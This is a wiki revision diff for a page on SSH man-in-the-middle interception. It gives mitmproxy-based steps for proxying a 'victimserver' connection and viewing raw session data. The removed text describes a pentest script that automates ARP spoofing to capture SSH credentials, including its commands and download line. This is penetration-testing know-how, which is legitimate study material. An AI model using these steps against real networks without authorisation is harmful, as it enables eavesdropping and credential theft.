Difference between revisions of "MITM: mitmssh"

Latest revision as of 09:31, 3 October 2018

sumber: https://andrewmichaelsmith.com/2014/03/quick-and-easy-ssh-mitm/

# Download mitmproxy
git clone https://github.com/mitmproxy/mitmproxy.git

#Generate mitm keys (these go to ~/.mitmkeys)
./mitmkeys

Now you want to install the SSH key you just generated to the server you want to mitm.

#Install SSH key
ssh-copy-id -i ~/.mitmkeys/id_rsa.pub user@victimserver

Then run the proxy, pointing it at the victimserver.

#Run proxy
./mitmproxy_ssh -H victimserver

This runs the proxy on localhost:2222

Now simply connect to the local proxy:

ssh localhost -p 2222

And ta-da! You should see the raw data sent between client and server in the window you ran mitmproxy_ssh.

@@ Line 1: / Line 1: @@
-sumber: https://milo2012.wordpress.com/2014/11/12/automating-man-in-the-middle-sshv2-attacks/
+sumber: https://andrewmichaelsmith.com/2014/03/quick-and-easy-ssh-mitm/
+ # Download mitmproxy
+ git clone https://github.com/mitmproxy/mitmproxy.git
+ #Generate mitm keys (these go to ~/.mitmkeys)
+ ./mitmkeys
+Now you want to install the SSH key you just generated to the server you want to mitm.
+ #Install SSH key
+ ssh-copy-id -i ~/.mitmkeys/id_rsa.pub user@victimserver
-Recently during an internal penetration test, I was performing ARP spoofing and i discovered a SSH connection from the administrator computer to another box.
+Then run the proxy, pointing it at the victimserver.
-That sounds like the correct way to access remote hosts securely. However, the problem was that the company was using a network switch that was vulnerable to ARP spoofing.
+ #Run proxy
+ ./mitmproxy_ssh -H victimserver
-I came across the below article about performing ARP spoofing and MITM SSH connections to steal credentials.
+This runs the proxy on localhost:2222
-When performing arp spoofing and performing a mitm attack on SSH, the victim does get an alert message saying that there is a key mismatch but most people just ignore them anyway.
+Now simply connect to the local proxy:
-Below is the link to the original article.
-http://woff.hu/tools/ssh2-mitm-like-attack-with-jmitm2/
-In the article, the author demonstrates the use of a software called JMITM2 (http://www.david-guembel.de/index.php?id=6) which is sort of like a honey pot that proxies SSH connections between the victim and the target SSH server.
-However, there are a number of steps to be done manually to execute this attack during an internal penetration test.
-# Check if network is vulnerable to ARP spoofing
-# Check if there are any active SSH connections in the network
-# Identify the victim computer and SSH server
-# Modify the configuration files of JMITM2
-# Modifying iptables
-# ARP spoofing
-# Checking JMITM2 console for credentials
-# Re-arp the router and victim host with the correct MAC addresses of each.
-It would save a great amount of time to automate these steps. I wrote a script that does just that.
-Running the command below checks the network for active SSH connections (via ARP spoofing) and then automates the whole attack to outputs any credentials captured to the console.
- python2.7 mitmSSH.py -analyze
-If you know the victim host IP and SSH server, you can use the below command
- python2.7 mitmSSH.py -host victims -ssh sshServerIP
-IMG_2025.PNG
-This script has only been tested on Kali Linux.
-There are a couple of things that are still in the works to improve the script.
-. Switching from intercepter-ng for ARP spoofing to scapy.
-The script can be grabbed from the below link
-https://github.com/milo2012/pentest_automation/blob/master/mitmSSH.py
-==Download==
- wget https://github.com/milo2012/pentest_automation/blob/master/mitmSSH.py
+ ssh localhost -p 2222
+And ta-da! You should see the raw data sent between client and server in the window you ran mitmproxy_ssh.
@@ Line 61: / Line 31: @@
 ==Referensi==
+* https://andrewmichaelsmith.com/2014/03/quick-and-easy-ssh-mitm/
 * https://milo2012.wordpress.com/2014/11/12/automating-man-in-the-middle-sshv2-attacks/
 * https://github.com/milo2012/pentest_automation/blob/master/mitmSSH.py
 * http://woff.hu/tools/ssh2-mitm-like-attack-with-jmitm2/

Difference between revisions of "MITM: mitmssh"

Latest revision as of 09:31, 3 October 2018

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